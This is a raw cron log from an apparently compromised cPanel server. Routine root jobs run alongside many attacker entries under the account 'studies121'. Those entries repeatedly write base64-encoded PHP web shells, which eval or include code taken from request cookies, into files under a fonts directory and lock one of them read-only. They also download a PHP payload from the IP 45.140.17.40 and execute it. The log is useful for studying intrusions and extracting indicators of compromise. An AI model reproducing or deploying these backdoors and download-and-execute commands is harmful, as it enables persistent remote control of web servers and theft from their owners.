Sep 21 03:15:01 ip-184-168-122-23 CROND[21031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:15:01 ip-184-168-122-23 CROND[21032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:16:01 ip-184-168-122-23 CROND[21196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:16:01 ip-184-168-122-23 CROND[21198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:16:01 ip-184-168-122-23 CROND[21200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:16:01 ip-184-168-122-23 CROND[21201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:16:01 ip-184-168-122-23 CROND[21199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:16:01 ip-184-168-122-23 CROND[21204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 03:17:01 ip-184-168-122-23 CROND[21286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:17:01 ip-184-168-122-23 CROND[21288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:17:01 ip-184-168-122-23 CROND[21289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:17:01 ip-184-168-122-23 CROND[21290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:18:01 ip-184-168-122-23 CROND[21385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:18:01 ip-184-168-122-23 CROND[21387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:18:01 ip-184-168-122-23 CROND[21388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:18:01 ip-184-168-122-23 CROND[21389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:18:01 ip-184-168-122-23 CROND[21390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:19:01 ip-184-168-122-23 CROND[21507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:19:01 ip-184-168-122-23 CROND[21508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:19:01 ip-184-168-122-23 CROND[21509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:19:01 ip-184-168-122-23 CROND[21510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:20:01 ip-184-168-122-23 CROND[21622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:20:01 ip-184-168-122-23 CROND[21626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:20:01 ip-184-168-122-23 CROND[21629]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 03:21:01 ip-184-168-122-23 CROND[21755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:21:01 ip-184-168-122-23 CROND[21758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:21:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:21:01 ip-184-168-122-23 CROND[21757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:22:01 ip-184-168-122-23 CROND[21853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:22:01 ip-184-168-122-23 CROND[21854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:22:01 ip-184-168-122-23 CROND[21856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:22:01 ip-184-168-122-23 CROND[21855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:22:01 ip-184-168-122-23 CROND[21857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:23:01 ip-184-168-122-23 CROND[22079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:23:01 ip-184-168-122-23 CROND[22081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:23:01 ip-184-168-122-23 CROND[22080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:23:01 ip-184-168-122-23 CROND[22082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:24:01 ip-184-168-122-23 CROND[22197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:24:01 ip-184-168-122-23 CROND[22195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:24:01 ip-184-168-122-23 CROND[22198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:24:01 ip-184-168-122-23 CROND[22199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:24:01 ip-184-168-122-23 CROND[22200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:25:01 ip-184-168-122-23 CROND[22316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:25:01 ip-184-168-122-23 CROND[22317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:25:01 ip-184-168-122-23 CROND[22318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:25:01 ip-184-168-122-23 CROND[22320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:25:01 ip-184-168-122-23 CROND[22321]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:25:01 ip-184-168-122-23 CROND[22322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:26:01 ip-184-168-122-23 CROND[22503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:26:01 ip-184-168-122-23 CROND[22507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:26:01 ip-184-168-122-23 CROND[22504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:26:01 ip-184-168-122-23 CROND[22506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:26:01 ip-184-168-122-23 CROND[22505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:27:02 ip-184-168-122-23 CROND[22741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:27:02 ip-184-168-122-23 CROND[22746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
